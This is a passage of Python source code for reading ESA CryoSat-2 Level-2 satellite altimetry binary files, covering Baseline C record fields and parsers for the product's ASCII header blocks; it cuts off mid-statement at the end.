np.zeros((n_records,n_blocks),dtype=np.int32)\r\n\t#-- Lon: packed units (0.1 micro-degree, 1e-7 degrees)\r\n\tL2_final_measurements['Lon'] = np.zeros((n_records,n_blocks),dtype=np.int32)\r\n\t#-- Measured elevation above ellipsoid from retracker: packed units (mm, 1e-3 m)\r\n\tL2_final_measurements['Elev'] = np.zeros((n_records,n_blocks),dtype=np.int32)\r\n\t#-- Interpolated Sea Surface Height Anomaly: packed units (mm, 1e-3 m)\r\n\tL2_final_measurements['SSHA_interp'] = np.zeros((n_records,n_blocks),dtype=np.int16)\r\n\t#-- Interpolated Sea Surface Height measurement count\r\n\tL2_final_measurements['SSHA_num'] = np.zeros((n_records,n_blocks),dtype=np.int16)\r\n\t#-- Interpolation quality estimate RSS: packed units (mm, 1e-3 m)\r\n\tL2_final_measurements['SSHA_qual'] = np.zeros((n_records,n_blocks),dtype=np.int16)\r\n\t#-- Sigma Zero Backscatter for retracker: packed units (1e-2 dB)\r\n\tL2_final_measurements['Sig0'] = np.zeros((n_records,n_blocks),dtype=np.int16)\r\n\t#-- Peakiness: packed units (1e-2)\r\n\tL2_final_measurements['Peakiness'] = np.zeros((n_records,n_blocks),dtype=np.uint16)\r\n\t#-- Freeboard: packed units (mm, 1e-3 m)\r\n\t#-- -9999 default value indicates computation has not been performed\r\n\tL2_final_measurements['Freeboard'] = np.zeros((n_records,n_blocks),dtype=np.int16)\r\n\t#-- Number of averaged echoes or beams\r\n\tL2_final_measurements['N_avg'] = np.zeros((n_records,n_blocks),dtype=np.int16)\r\n\tL2_final_measurements['Spare1'] = np.zeros((n_records,n_blocks),dtype=np.int16)\r\n\t#-- Quality flags\r\n\tL2_final_measurements['Quality_Flg'] = np.zeros((n_records,n_blocks),dtype=np.uint32)\r\n\tL2_final_measurements['Spare2'] = np.zeros((n_records,n_blocks),dtype=np.int16)\r\n\tL2_final_measurements['Spare3'] = np.zeros((n_records,n_blocks),dtype=np.int16)\r\n\tL2_final_measurements['Spare4'] = np.zeros((n_records,n_blocks),dtype=np.int16)\r\n\tL2_final_measurements['Spare5'] = np.zeros((n_records,n_blocks),dtype=np.int16)\r\n\t#-- for each record in the CryoSat file\r\n\tfor r in range(n_records):\r\n\t\t#-- CryoSat-2 Location Group for record r\r\n\t\tL2_1Hz_parameters['Day'][r] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\tL2_1Hz_parameters['Second'][r] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\tL2_1Hz_parameters['Micsec'][r] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\tL2_1Hz_parameters['Siral_mode'][r] = np.fromfile(fid,dtype='>u8',count=1)\r\n\t\tL2_1Hz_parameters['Lat_1Hz'][r] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\tL2_1Hz_parameters['Lon_1Hz'][r] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\tL2_1Hz_parameters['Alt_1Hz'][r] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\tL2_1Hz_parameters['Mispointing'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_1Hz_parameters['N_valid'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\t#-- CryoSat-2 External Corrections Group for record r\r\n\t\tL2_final_corrections['dryTrop'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_final_corrections['wetTrop'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_final_corrections['InvBar'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_final_corrections['DynAtm'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_final_corrections['Iono'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_final_corrections['SSB'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_final_corrections['ocTideElv'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_final_corrections['lpeTideElv'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_final_corrections['olTideElv'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_final_corrections['seTideElv'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_final_corrections['gpTideElv'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_final_corrections['Spare1'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_final_corrections['Surf_type'][r] = np.fromfile(fid,dtype='>u8',count=1)\r\n\t\tL2_final_corrections['MSS_Geoid'][r] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\tL2_final_corrections['ODLE'][r] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\tL2_final_corrections['Ice_conc'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_final_corrections['Snow_depth'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_final_corrections['Snow_density'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_final_corrections['Spare2'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_final_corrections['C_status'][r] = np.fromfile(fid,dtype='>u4',count=1)\r\n\t\tL2_final_corrections['SWH'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_final_corrections['Wind_speed'][r] = np.fromfile(fid,dtype='>u2',count=1)\r\n\t\tL2_final_corrections['Spare3'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_final_corrections['Spare4'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_final_corrections['Spare5'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_final_corrections['Spare6'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\t#-- CryoSat-2 Measurements Group for record r and block b\r\n\t\tfor b in range(n_blocks):\r\n\t\t\tL2_final_measurements['D_time_mics'][r,b] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\t\tL2_final_measurements['Lat'][r,b] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\t\tL2_final_measurements['Lon'][r,b] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\t\tL2_final_measurements['Elev'][r,b] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\t\tL2_final_measurements['SSHA_interp'][r,b] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\t\tL2_final_measurements['SSHA_num'][r,b] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\t\tL2_final_measurements['SSHA_qual'][r,b] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\t\tL2_final_measurements['Sig0'][r,b] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\t\tL2_final_measurements['Peakiness'][r,b] = np.fromfile(fid,dtype='>u2',count=1)\r\n\t\t\tL2_final_measurements['Freeboard'][r,b] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\t\tL2_final_measurements['N_avg'][r,b] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\t\tL2_final_measurements['Spare1'][r,b] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\t\tL2_final_measurements['Quality_Flg'][r,b] = np.fromfile(fid,dtype='>u4',count=1)\r\n\t\t\tL2_final_measurements['Spare2'][r,b] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\t\tL2_final_measurements['Spare3'][r,b] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\t\tL2_final_measurements['Spare4'][r,b] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\t\tL2_final_measurements['Spare5'][r,b] = np.fromfile(fid,dtype='>i2',count=1)\r\n\r\n\t#-- Bind all the bits of the l2_mds together into a single dictionary\r\n\tCS_l2_mds = {}\r\n\tCS_l2_mds['Data_1Hz'] = L2_1Hz_parameters\r\n\tCS_l2_mds['Corrections'] = L2_final_corrections\r\n\tCS_l2_mds['Data_20Hz'] = L2_final_measurements\r\n\t#-- return the output dictionary\r\n\treturn CS_l2_mds\r\n\r\n#-- PURPOSE: Initiate L2 MDS variables for CryoSat Baseline C\r\ndef cryosat_baseline_C(fid,record_size,n_records):\r\n\t#-- CryoSat-2 1 Hz data fields (Location Group)\r\n\t#-- Time and Orbit Parameters plus Measurement Mode\r\n\tL2_c_1Hz_parameters = {}\r\n\t#-- Time: day part\r\n\tL2_c_1Hz_parameters['Day'] = np.zeros((n_records),dtype=np.int32)\r\n\t#-- Time: second part\r\n\tL2_c_1Hz_parameters['Second'] = np.zeros((n_records),dtype=np.int32)\r\n\t#-- Time: microsecond part\r\n\tL2_c_1Hz_parameters['Micsec'] = np.zeros((n_records),dtype=np.int32)\r\n\t#-- SIRAL mode\r\n\tL2_c_1Hz_parameters['Siral_mode'] = np.zeros((n_records),dtype=np.uint64)\r\n\t#-- Lat_1Hz: packed units (0.1 micro-degree, 1e-7 degrees)\r\n\tL2_c_1Hz_parameters['Lat_1Hz'] = np.zeros((n_records),dtype=np.int32)\r\n\t#-- Lon_1Hz: packed units (0.1 micro-degree, 1e-7 degrees)\r\n\tL2_c_1Hz_parameters['Lon_1Hz'] = np.zeros((n_records),dtype=np.int32)\r\n\t#-- Alt_1Hz: packed units (mm, 1e-3 m)\r\n\t#-- Altitude of COG above reference ellipsoid (interpolated value)\r\n\tL2_c_1Hz_parameters['Alt_1Hz'] = np.zeros((n_records),dtype=np.int32)\r\n\t#-- Roll: packed units (0.1 micro-degree, 1e-7 degrees)\r\n\tL2_c_1Hz_parameters['Roll'] = np.zeros((n_records),dtype=np.int32)\r\n\t#-- Pitch: packed units (0.1 micro-degree, 1e-7 degrees)\r\n\tL2_c_1Hz_parameters['Pitch'] = np.zeros((n_records),dtype=np.int32)\r\n\t#-- Yaw: packed units (0.1 micro-degree, 1e-7 degrees)\r\n\tL2_c_1Hz_parameters['Yaw'] = np.zeros((n_records),dtype=np.int32)\r\n\tL2_c_1Hz_parameters['Spare'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Number of valid records in the block of twenty that contain data\r\n\t#-- Last few records of the last block of a dataset may be blank blocks\r\n\t#-- inserted to bring the file up to a multiple of twenty.\r\n\tL2_c_1Hz_parameters['N_valid'] = np.zeros((n_records),dtype=np.int16)\r\n\r\n\t#-- CryoSat-2 geophysical corrections (External Corrections Group)\r\n\tL2_c_final_corrections = {}\r\n\t#-- Dry Tropospheric Correction packed units (mm, 1e-3 m)\r\n\tL2_c_final_corrections['dryTrop'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Wet Tropospheric Correction packed units (mm, 1e-3 m)\r\n\tL2_c_final_corrections['wetTrop'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Inverse Barometric Correction packed units (mm, 1e-3 m)\r\n\tL2_c_final_corrections['InvBar'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Dynamic Atmosphere Correction packed units (mm, 1e-3 m)\r\n\tL2_c_final_corrections['DynAtm'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Ionospheric Correction packed units (mm, 1e-3 m)\r\n\tL2_c_final_corrections['Iono'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Sea State Bias Correction packed units (mm, 1e-3 m)\r\n\tL2_c_final_corrections['SSB'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Ocean tide Correction packed units (mm, 1e-3 m)\r\n\tL2_c_final_corrections['ocTideElv'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Long period equilibrium ocean tide Correction packed units (mm, 1e-3 m)\r\n\tL2_c_final_corrections['lpeTideElv'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Ocean loading tide Correction packed units (mm, 1e-3 m)\r\n\tL2_c_final_corrections['olTideElv'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Solid Earth tide Correction packed units (mm, 1e-3 m)\r\n\tL2_c_final_corrections['seTideElv'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Geocentric Polar tide Correction packed units (mm, 1e-3 m)\r\n\tL2_c_final_corrections['gpTideElv'] = np.zeros((n_records),dtype=np.int16)\r\n\tL2_c_final_corrections['Spare1'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Surface Type: Packed in groups of three bits for each of the 20 records\r\n\tL2_c_final_corrections['Surf_type'] = np.zeros((n_records),dtype=np.uint64)\r\n\t#-- Mean Sea Surface or Geoid packed units (mm, 1e-3 m)\r\n\tL2_c_final_corrections['MSS_Geoid'] = np.zeros((n_records),dtype=np.int32)\r\n\t#-- Ocean Depth/Land Elevation Model (ODLE) packed units (mm, 1e-3 m)\r\n\tL2_c_final_corrections['ODLE'] = np.zeros((n_records),dtype=np.int32)\r\n\t#-- Ice Concentration packed units (%/100)\r\n\tL2_c_final_corrections['Ice_conc'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Snow Depth packed units (mm, 1e-3 m)\r\n\tL2_c_final_corrections['Snow_depth'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Snow Density packed units (kg/m^3)\r\n\tL2_c_final_corrections['Snow_density'] = np.zeros((n_records),dtype=np.int16)\r\n\tL2_c_final_corrections['Spare2'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Corrections Status Flag\r\n\tL2_c_final_corrections['C_status'] = np.zeros((n_records),dtype=np.uint32)\r\n\t#-- Significant Wave Height (SWH) packed units (mm, 1e-3)\r\n\tL2_c_final_corrections['SWH'] = np.zeros((n_records),dtype=np.int16)\r\n\t#-- Wind Speed packed units (mm/s, 1e-3 m/s)\r\n\tL2_c_final_corrections['Wind_speed'] = np.zeros((n_records),dtype=np.uint16)\r\n\tL2_c_final_corrections['Spare3'] = np.zeros((n_records),dtype=np.int16)\r\n\tL2_c_final_corrections['Spare4'] = np.zeros((n_records),dtype=np.int16)\r\n\tL2_c_final_corrections['Spare5'] = np.zeros((n_records),dtype=np.int16)\r\n\tL2_c_final_corrections['Spare6'] = np.zeros((n_records),dtype=np.int16)\r\n\r\n\t#-- CryoSat-2 20 Hz data fields (Measurement Group)\r\n\t#-- Derived from instrument measurement parameters\r\n\tn_blocks = 20\r\n\tL2_c_final_measurements = {}\r\n\t#-- Delta between the timestamps for 20Hz record and the 1Hz record\r\n\t#-- D_time_mics packed units (microseconds)\r\n\tL2_c_final_measurements['D_time_mics'] = np.zeros((n_records,n_blocks),dtype=np.int32)\r\n\t#-- Lat: packed units (0.1 micro-degree, 1e-7 degrees)\r\n\tL2_c_final_measurements['Lat'] = np.zeros((n_records,n_blocks),dtype=np.int32)\r\n\t#-- Lon: packed units (0.1 micro-degree, 1e-7 degrees)\r\n\tL2_c_final_measurements['Lon'] = np.zeros((n_records,n_blocks),dtype=np.int32)\r\n\t#-- Measured elevation above ellipsoid from retracker 1: packed units (mm, 1e-3 m)\r\n\tL2_c_final_measurements['Elev_1'] = np.zeros((n_records,n_blocks),dtype=np.int32)\r\n\t#-- Measured elevation above ellipsoid from retracker 2: packed units (mm, 1e-3 m)\r\n\tL2_c_final_measurements['Elev_2'] = np.zeros((n_records,n_blocks),dtype=np.int32)\r\n\t#-- Measured elevation above ellipsoid from retracker 3: packed units (mm, 1e-3 m)\r\n\tL2_c_final_measurements['Elev_3'] = np.zeros((n_records,n_blocks),dtype=np.int32)\r\n\t#-- Sigma Zero Backscatter for retracker 1: packed units (1e-2 dB)\r\n\tL2_c_final_measurements['Sig0_1'] = np.zeros((n_records,n_blocks),dtype=np.int16)\r\n\t#-- Sigma Zero Backscatter for retracker 2: packed units (1e-2 dB)\r\n\tL2_c_final_measurements['Sig0_2'] = np.zeros((n_records,n_blocks),dtype=np.int16)\r\n\t#-- Sigma Zero Backscatter for retracker 3: packed units (1e-2 dB)\r\n\tL2_c_final_measurements['Sig0_3'] = np.zeros((n_records,n_blocks),dtype=np.int16)\r\n\t#-- Freeboard: packed units (mm, 1e-3 m)\r\n\t#-- -9999 default value indicates computation has not been performed\r\n\tL2_c_final_measurements['Freeboard'] = np.zeros((n_records,n_blocks),dtype=np.int16)\r\n\t#-- Interpolated Sea Surface Height Anomaly: packed units (mm, 1e-3 m)\r\n\tL2_c_final_measurements['SSHA_interp'] = np.zeros((n_records,n_blocks),dtype=np.int16)\r\n\t#-- Interpolated Sea Surface Height measurement count\r\n\tL2_c_final_measurements['SSHA_num'] = np.zeros((n_records,n_blocks),dtype=np.int16)\r\n\t#-- Interpolation quality estimate RSS: packed units (mm, 1e-3 m)\r\n\tL2_c_final_measurements['SSHA_qual'] = np.zeros((n_records,n_blocks),dtype=np.int16)\r\n\t#-- Peakiness: packed units (1e-2)\r\n\tL2_c_final_measurements['Peakiness'] = np.zeros((n_records,n_blocks),dtype=np.uint16)\r\n\t#-- Number of averaged echoes or beams\r\n\tL2_c_final_measurements['N_avg'] = np.zeros((n_records,n_blocks),dtype=np.int16)\r\n\tL2_c_final_measurements['Spare1'] = np.zeros((n_records,n_blocks),dtype=np.int16)\r\n\t#-- Quality flags\r\n\tL2_c_final_measurements['Quality_Flg'] = np.zeros((n_records,n_blocks),dtype=np.uint32)\r\n\t#-- Corrections Application Flag\r\n\tL2_c_final_measurements['Corrections_Flg'] = np.zeros((n_records,n_blocks),dtype=np.uint32)\r\n\t#-- Quality metric for retracker 1\r\n\tL2_c_final_measurements['Quality_1'] = np.zeros((n_records,n_blocks),dtype=np.int32)\r\n\t#-- Quality metric for retracker 2\r\n\tL2_c_final_measurements['Quality_2'] = np.zeros((n_records,n_blocks),dtype=np.int32)\r\n\t#-- Quality metric for retracker 3\r\n\tL2_c_final_measurements['Quality_3'] = np.zeros((n_records,n_blocks),dtype=np.int32)\r\n\t#-- for each record in the CryoSat file\r\n\tfor r in range(n_records):\r\n\t\t#-- CryoSat-2 Location Group for record r\r\n\t\tL2_c_1Hz_parameters['Day'][r] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\tL2_c_1Hz_parameters['Second'][r] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\tL2_c_1Hz_parameters['Micsec'][r] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\tL2_c_1Hz_parameters['Siral_mode'][r] = np.fromfile(fid,dtype='>u8',count=1)\r\n\t\tL2_c_1Hz_parameters['Lat_1Hz'][r] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\tL2_c_1Hz_parameters['Lon_1Hz'][r] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\tL2_c_1Hz_parameters['Alt_1Hz'][r] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\tL2_c_1Hz_parameters['Roll'][r] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\tL2_c_1Hz_parameters['Pitch'][r] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\tL2_c_1Hz_parameters['Yaw'][r] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\tL2_c_1Hz_parameters['Spare'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_c_1Hz_parameters['N_valid'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\t#-- CryoSat-2 External Corrections Group for record r\r\n\t\tL2_c_final_corrections['dryTrop'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_c_final_corrections['wetTrop'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_c_final_corrections['InvBar'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_c_final_corrections['DynAtm'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_c_final_corrections['Iono'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_c_final_corrections['SSB'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_c_final_corrections['ocTideElv'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_c_final_corrections['lpeTideElv'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_c_final_corrections['olTideElv'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_c_final_corrections['seTideElv'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_c_final_corrections['gpTideElv'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_c_final_corrections['Spare1'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_c_final_corrections['Surf_type'][r] = np.fromfile(fid,dtype='>u8',count=1)\r\n\t\tL2_c_final_corrections['MSS_Geoid'][r] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\tL2_c_final_corrections['ODLE'][r] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\tL2_c_final_corrections['Ice_conc'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_c_final_corrections['Snow_depth'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_c_final_corrections['Snow_density'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_c_final_corrections['Spare2'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_c_final_corrections['C_status'][r] = np.fromfile(fid,dtype='>u4',count=1)\r\n\t\tL2_c_final_corrections['SWH'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_c_final_corrections['Wind_speed'][r] = np.fromfile(fid,dtype='>u2',count=1)\r\n\t\tL2_c_final_corrections['Spare3'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_c_final_corrections['Spare4'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_c_final_corrections['Spare5'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\tL2_c_final_corrections['Spare6'][r] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\t#-- CryoSat-2 Measurements Group for record r and block b\r\n\t\tfor b in range(n_blocks):\r\n\t\t\tL2_c_final_measurements['D_time_mics'][r,b] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\t\tL2_c_final_measurements['Lat'][r,b] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\t\tL2_c_final_measurements['Lon'][r,b] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\t\tL2_c_final_measurements['Elev_1'][r,b] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\t\tL2_c_final_measurements['Elev_2'][r,b] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\t\tL2_c_final_measurements['Elev_3'][r,b] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\t\tL2_c_final_measurements['Sig0_1'][r,b] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\t\tL2_c_final_measurements['Sig0_2'][r,b] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\t\tL2_c_final_measurements['Sig0_3'][r,b] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\t\tL2_c_final_measurements['Freeboard'][r,b] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\t\tL2_c_final_measurements['SSHA_interp'][r,b] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\t\tL2_c_final_measurements['SSHA_num'][r,b] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\t\tL2_c_final_measurements['SSHA_qual'][r,b] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\t\tL2_c_final_measurements['Peakiness'][r,b] = np.fromfile(fid,dtype='>u2',count=1)\r\n\t\t\tL2_c_final_measurements['N_avg'][r,b] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\t\tL2_c_final_measurements['Spare1'][r,b] = np.fromfile(fid,dtype='>i2',count=1)\r\n\t\t\tL2_c_final_measurements['Quality_Flg'][r,b] = np.fromfile(fid,dtype='>u4',count=1)\r\n\t\t\tL2_c_final_measurements['Corrections_Flg'][r,b] = np.fromfile(fid,dtype='>u4',count=1)\r\n\t\t\tL2_c_final_measurements['Quality_1'][r,b] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\t\tL2_c_final_measurements['Quality_2'][r,b] = np.fromfile(fid,dtype='>i4',count=1)\r\n\t\t\tL2_c_final_measurements['Quality_3'][r,b] = np.fromfile(fid,dtype='>i4',count=1)\r\n\r\n\t#-- Bind all the bits of the l2_mds together into a single dictionary\r\n\tCS_l2_c_mds = {}\r\n\tCS_l2_c_mds['Data_1Hz'] = L2_c_1Hz_parameters\r\n\tCS_l2_c_mds['Corrections'] = L2_c_final_corrections\r\n\tCS_l2_c_mds['Data_20Hz'] = L2_c_final_measurements\r\n\t#-- return the output dictionary\r\n\treturn CS_l2_c_mds\r\n\r\n#-- PURPOSE: Read ASCII Main Product Header (MPH) block from an ESA PDS file\r\ndef read_MPH(full_filename):\r\n\t#-- read input data file\r\n\twith open(full_filename, 'rb') as fid:\r\n\t\tfile_contents = fid.read().splitlines()\r\n\r\n\t#-- Define constant values associated with PDS file formats\r\n\t#-- number of text lines in standard MPH\r\n\tn_MPH_lines\t= 41\r\n\t#-- check that first line of header matches PRODUCT\r\n\tif not bool(re.match(b'PRODUCT\\=\\\"(.*)(?=\\\")',file_contents[0])):\r\n\t\traise IOError('File does not start with a valid PDS MPH')\r\n\t#-- read MPH header text\r\n\ts_MPH_fields = {}\r\n\tfor i in range(n_MPH_lines):\r\n\t\t#-- use regular expression operators to read headers\r\n\t\tif bool(re.match(b'(.*?)\\=\\\"(.*)(?=\\\")',file_contents[i])):\r\n\t\t\t#-- data fields within quotes\r\n\t\t\tfield,value=re.findall(b'(.*?)\\=\\\"(.*)(?=\\\")',file_contents[i]).pop()\r\n\t\t\ts_MPH_fields[field.decode('utf-8')] = value.decode('utf-8').rstrip()\r\n\t\telif bool(re.match(b'(.*?)\\=(.*)',file_contents[i])):\r\n\t\t\t#-- data fields without quotes\r\n\t\t\tfield,value=re.findall(b'(.*?)\\=(.*)',file_contents[i]).pop()\r\n\t\t\ts_MPH_fields[field.decode('utf-8')] = value.decode('utf-8').rstrip()\r\n\r\n\t#-- Return block name array to calling function\r\n\treturn s_MPH_fields\r\n\r\n#-- PURPOSE: Read ASCII Specific Product Header (SPH) block from a PDS file\r\ndef read_SPH(full_filename,j_sph_size):\r\n\t#-- read input data file\r\n\twith open(full_filename, 'rb') as fid:\r\n\t\tfile_contents = fid.read().splitlines()\r\n\r\n\t#-- Define constant values associated with PDS file formats\r\n\t#-- number of text lines in standard MPH\r\n\tn_MPH_lines\t= 41\r\n\t#-- compile regular expression operator for reading headers\r\n\trx = re.compile(b'(.*?)\\=\\\"?(.*)',re.VERBOSE)\r\n\t#-- check first line of header matches SPH_DESCRIPTOR\r\n\tif not bool(re.match(b'SPH\\_DESCRIPTOR\\=',file_contents[n_MPH_lines+1])):\r\n\t\traise IOError('File does not have a valid PDS DSD')\r\n\t#-- read SPH header text (no binary control characters)\r\n\ts_SPH_lines = [li for li in file_contents[n_MPH_lines+1:] if rx.match(li)\r\n\t\tand not re.search(b'[^\\x20-\\x7e]+',li)]\r\n\r\n\t#-- extract SPH header text\r\n\ts_SPH_fields = {}\r\n\tc = 0\r\n\twhile (c < len(s_SPH_lines)):\r\n\t\t#-- check if line is within DS_NAME portion of SPH header\r\n\t\tif bool(re.match(b'DS_NAME',s_SPH_lines[c])):\r\n\t\t\t#-- add dictionary for DS_NAME\r\n\t\t\tfield,value=re.findall(b'(.*?)\\=\\\"(.*)(?=\\\")',s_SPH_lines[c]).pop()\r\n\t\t\tkey = value.decode('utf-8').rstrip()\r\n\t\t\ts_SPH_fields[key] = {}\r\n\t\t\tfor line in s_SPH_lines[c+1:c+7]:\r\n\t\t\t\tif bool(re.match(b'(.*?)\\=\\\"(.*)(?=\\\")',line)):\r\n\t\t\t\t\t#-- data fields within quotes\r\n\t\t\t\t\tdsfield,dsvalue=re.findall(b'(.*?)\\=\\\"(.*)(?=\\\")',line).pop()\r\n\t\t\t\t\ts_SPH_fields[key][dsfield.decode('utf-8')] = dsvalue.decode('utf-8').rstrip()\r\n\t\t\t\telif bool(re.match(b'(.*?)\\=(.*)',line)):\r\n\t\t\t\t\t#-- data fields without quotes\r\n\t\t\t\t\tdsfield,dsvalue=re.findall(b'(.*?)\\=(.*)',line).pop()\r\n\t\t\t\t\ts_SPH_fields[key][dsfield.decode('utf-8')] = dsvalue.decode('utf-8').rstrip()\r\n\t\t\t#-- add 6 to counter to go to next entry\r\n\t\t\tc += 6\r\n\t\t#-- use regular expression operators to read headers\r\n\t\telif bool(re.match(b'(.*?)\\=\\\"(.*)(?=\\\")',s_SPH_lines[c])):\r\n\t\t\t#-- data fields within quotes\r\n\t\t\tfield,value=re.findall(b'(.*?)\\=\\\"(.*)(?=\\\")',s_SPH_lines[c]).pop()\r\n\t\t\ts_SPH_fields[field.decode('utf-8')] = value.decode('utf-8').rstrip()\r\n\t\telif bool(re.match(b'(.*?)\\=(.*)',s_SPH_lines[c])):\r\n\t\t\t#-- data fields without quotes\r\n\t\t\tfield,value=re.findall(b'(.*?)\\=(.*)',s_SPH_lines[c]).pop()\r\n\t\t\ts_SPH_fields[field.decode('utf-8')] = value.decode('utf-8').rstrip()\r\n\t\t#-- add 1 to counter to go to next line\r\n\t\tc += 1\r\n\r\n\t#-- Return block name array to calling function\r\n\treturn s_SPH_fields\r\n\r\n#-- PURPOSE: Read ASCII Data Set Descriptors (DSD) block from a PDS file\r\ndef read_DSD(full_filename):\r\n\t#-- read input data file\r\n\twith open(full_filename, 'rb') as fid:\r\n\t\tfile_contents = fid.read().splitlines()\r\n\r\n\t#-- Define constant values associated with PDS file formats\r\n\t#-- number of text lines in standard MPH\r\n\tn_MPH_lines\t= 41\r\n\t#-- number of text lines in a DSD header\r\n\tn_DSD_lines = 8\r\n\r\n\t#-- Level-2 CryoSat DS_NAMES within files\r\n\tregex_patterns = 